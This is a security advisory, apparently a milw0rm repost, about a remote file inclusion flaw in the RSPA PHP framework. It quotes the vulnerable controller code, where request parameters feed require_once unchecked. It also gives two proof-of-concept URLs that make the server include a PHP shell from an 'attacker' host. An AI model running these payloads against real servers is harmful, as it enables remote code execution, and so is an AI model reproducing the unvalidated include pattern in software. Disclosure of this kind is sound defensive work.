RSPA Remote File Inclusion Really Simple PHP and Ajax (RSPA) RSPA is a component based event driven ajax enabled framework for PHP4 and PHP 5. It is a combination of plane PHP class and HTML/Javascript.RSPA allows calling server side PHP functions from client javascript events. Visit http://rspa.sourceforge.net Credit: The information has been provided by Hamid Ebadi The original article can be found at : http://www.bugtraq.ir http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6 Vulnerable Systems: Version: rspa-2007-03-23 Description: Input passed to the" __IncludeFilePHPClass ", " __ClassPath" and " __class" parameters in "rspa/framework/Controller_v5.php" and " rspa/framework/Controller_v4.php " is not properly verified before being used to include files. This can be exploited to execute arbitrary PHP code by including files from local or external resources. read more about file inclusion in http://www.bugtraq.ir/articles Vulnerable Code : require_once("rspaconf.inc.php"); $className = $_REQUEST['__class']; $methordName = $_REQUEST['__methord']; // IncludeFile for PHP Class if ($_REQUEST['__IncludeFilePHPClass']){ $filename = $_REQUEST['__IncludeFilePHPClass']; require_once ($filename); } // Parms if (isset($_REQUEST['__parameters'])){$parameter = getParms($_REQUEST['__parameters']);}else{$parameter="";} // ClassFile + ClassPath include ("../components/Form.class.php"); if ($_REQUEST["__ClassPath"]=="null" || empty($_REQUEST["__ClassPath"])){ $filename = $RSPA['class_folder'].$className.$RSPA['class_extension']; }else{ $filename = $_REQUEST["__ClassPath"].$className.$RSPA['class_extension']; } require_once($filename); POC exploit : The following URL will cause remote file inclusion http://[HOST]/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=http://attacker/phpshell.txt/? http://[HOST]/rspa/framework/Controller_v4.php?__ClassPath=http://attacker/phpshell.txt/? [ http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6 ] # copyright : http://www.bugtraq.ir # milw0rm.com [2007-04-02]